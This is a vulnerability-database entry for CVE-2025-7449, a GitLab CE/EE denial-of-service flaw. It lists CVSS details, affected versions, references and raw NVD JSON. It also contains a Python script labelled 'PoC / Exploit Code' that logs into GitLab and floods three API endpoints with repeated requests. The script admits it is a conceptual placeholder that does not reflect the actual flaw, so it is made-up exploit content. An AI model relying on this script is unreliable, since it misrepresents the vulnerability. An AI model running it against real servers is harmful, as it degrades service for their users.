Security Vulnerability Report
中文
CVE-2025-7449 CVSS 6.5 MEDIUM

CVE-2025-7449

Published: 2025-11-26 20:15:50
Last Modified: 2025-12-10 23:15:50

Description

GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.3 before 18.4.5, 18.5 before 18.5.3, and 18.6 before 18.6.1 that could have allowed an authenticated user with specific permissions to cause a denial of service condition through HTTP response processing.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:* - VULNERABLE
cpe:2.3:a:gitlab:gitlab:18.6.0:*:*:*:community:*:*:* - VULNERABLE
GitLab CE/EE >= 8.3 且 < 18.4.5
GitLab CE/EE >= 18.5 且 < 18.5.3
GitLab CE/EE >= 18.6 且 < 18.6.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-7449 PoC - GitLab HTTP Response Processing DoS Note: This is a conceptual PoC based on the vulnerability description. The actual exploitation requires further investigation. """ import requests import argparse import sys def exploit_gitlab_dos(target_url, username, password): """ Attempt to trigger the HTTP response processing DoS vulnerability """ session = requests.Session() # Login to GitLab login_url = f"{target_url}/users/sign_in" print(f"[*] Logging in to GitLab at {target_url}") try: # Get login page to extract authenticity token response = session.get(login_url, timeout=10) # Extract CSRF token (authenticity_token) from bs4 import BeautifulSoup soup = BeautifulSoup(response.text, 'html.parser') token_input = soup.find('input', {'name': 'authenticity_token'}) if not token_input: print("[-] Failed to find authenticity token") return False authenticity_token = token_input.get('value') # Perform login login_data = { 'authenticity_token': authenticity_token, 'user[login]': username, 'user[password]': password } login_response = session.post(login_url, data=login_data, timeout=10) if login_response.status_code != 200: print("[-] Login failed") return False print("[+] Login successful") # Attempt to trigger the DoS condition through HTTP response processing # This is a placeholder - actual PoC requires more specific analysis print("[*] Attempting to trigger HTTP response processing vulnerability...") # Example endpoints that might be vulnerable vulnerable_endpoints = [ '/api/v4/projects', '/api/v4/users', '/api/v4/groups' ] for endpoint in vulnerable_endpoints: try: # Send multiple requests to trigger the vulnerability for i in range(100): response = session.get(f"{target_url}{endpoint}", timeout=5) if response.status_code == 200: print(f"[*] Request {i+1} to {endpoint} successful") except requests.exceptions.Timeout: print(f"[!] Timeout detected on {endpoint} - possible DoS condition") return True except Exception as e: print(f"[-] Error: {e}") print("[*] PoC execution completed") print("[!] Note: This is a basic PoC. Actual exploitation requires further analysis.") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-7449 GitLab DoS PoC') parser.add_argument('-t', '--target', required=True, help='GitLab target URL') parser.add_argument('-u', '--username', required=True, help='GitLab username') parser.add_argument('-p', '--password', required=True, help='GitLab password') args = parser.parse_args() exploit_gitlab_dos(args.target, args.username, args.password)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-7449", "sourceIdentifier": "[email protected]", "published": "2025-11-26T20:15:50.477", "lastModified": "2025-12-10T23:15:49.617", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "GitLab has remediated an issue in GitLab CE/EE affecting all versions from 8.3 before 18.4.5, 18.5 before 18.5.3, and 18.6 before 18.6.1 that could have allowed an authenticated user with specific permissions to cause a denial of service condition through HTTP response processing."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "8.3.0", "versionEndExcluding": "18.4.5", "matchCriteriaId": "D7A50453-90B1-4BD3-8E6A-78DF483A9EA9"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "8.3.0", "versionEndExcluding": "18.4.5", "matchCriteriaId": "983B9717-8305-4156-A0F5-517331B41325"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:community:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.3", "matchCriteriaId": "A2361C72-A29E-47BB-A3FD-E4D656AF820F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:*:*:*:*:enterprise:*:*:*", "versionStartIncluding": "18.5.0", "versionEndExcluding": "18.5.3", "matchCriteriaId": "1B00EBAB-22CC-4350-AED2-60C7F78C0A8F"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.6.0:*:*:*:community:*:*:*", "matchCriteriaId": "E53003CF-149D-45C9-8574-B57FDE1F1612"}, {"vulnerable": true, "criteria": "cpe:2.3:a:gitlab:gitlab:18.6.0:*:*:*:enterprise:*:*:*", "matchCriteriaId": "200F0D66-67E2-4C9B-98C5-2F57FF5D7611"}]}]}], "references": [{"url": "https://about.gitlab.com/releases/2025/11/26/patch-release-gitlab-18-6-1-released/", "source": "[email protected]"}, {"url": "https://gitlab.com/gitlab-org/gitlab/-/issues/554938", "source": "[email protected]", "tags": ["Broken Link"]}, {"url": "https://hackerone.com/reports/3215054", "source": "[email protected]", "tags": ["Permissions Required"]}]}}